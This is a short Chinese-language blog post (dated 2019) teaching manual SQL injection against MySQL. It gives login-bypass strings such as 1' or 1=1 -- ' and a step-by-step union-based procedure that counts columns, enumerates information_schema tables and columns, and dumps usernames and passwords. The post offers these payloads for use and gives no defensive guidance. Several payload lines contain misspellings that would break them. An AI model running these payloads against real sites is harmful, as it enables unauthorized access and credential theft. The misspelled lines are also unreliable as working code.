2019-11-13

mysql手工注入


一、SQL注入的理解

    将特殊SQL语句添加到查询url后面,以获取非法的数据的操作。

    1.布尔注入    //返回真或假

    2.联合注入    //一起查询

    3.延时注入    //定时器查询

    4.报错注入    //报错,但信息是我们想要的

二、布尔注入

    布尔注入可以用在密码绕过这块。原理:利用引号提前闭合SQL语句 和 or的一真即真 的特点相结合进行密码绕过。

正常输入用户名和密码时执行的SQL如下:select username,password from admin where username = 'root' and password = ‘123456’;

利用密码绕过登录时执行的SQL如下:

select username,password from admin where username = '1' or 1=1 -- ' and password = '123';

密码绕过常用的代码:   

1' or 1=1 -- '

1' or 2>1 -- '

1' or true -- '                             

注:这里 -- 是注释作用

三、联合注入

    联合查询需要经过一下步骤:

1.判断注入点

利用 and 1=1 和and 1=2来判断是否是注入点。

2.爆出当前查询列数

利用 order by 或者 group by 结合折中法爆出当前查询总的字段数。猜到4时报错,猜到3时正常,说明列数为3。

3.爆可显位置

爆出的长度为3,参数值想办法让其报错(可以加负号等),然后进行联合查询?id=-1 union select 1,2,3 爆出可显位置。爆出位置2和3。

4.利用可显位置爆出数据库名。此时也可以爆出数据库版本、当前用户、数据库路径、数据库名称等相关信息

    version--mysql版本

    user--数据库用户

    database--数据库名

    @datadir--数据库路径

    @@versioncompileos--操作系统

5.爆表名

    (1)用点连接库下存放表名的tables表

    (2)然后用where来精确查询存放在table_schema中的库名

    (3)用limit函数来进行遍历

    (4)用-- 注释防止报错

最终payload为:

union select 1,2,table_name from information_schema.tables where table_schema='sqlzhuru' limit 1,1 --+

拿到记录账号密码的users表

6.爆字段

    爆出表名后,接下来爆想要的列名,思路如上,遍历出想要的字段,username和password。

最终payload为:

union select 1,2,colunm_name from imformation_schema.colunms where table_schema='sqlzhuru' and  table_name='usesr' limit 1,1 --+

修改limit函数,遍历第二个想要的列名 union select 1,2,column_name from information_schema.columns where table_schema=’security’and table_name=’users’ limit 2,1 --+

7.整合信息爆出用户名和密码

union select 1,username,password from users limit 1,1 --+

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容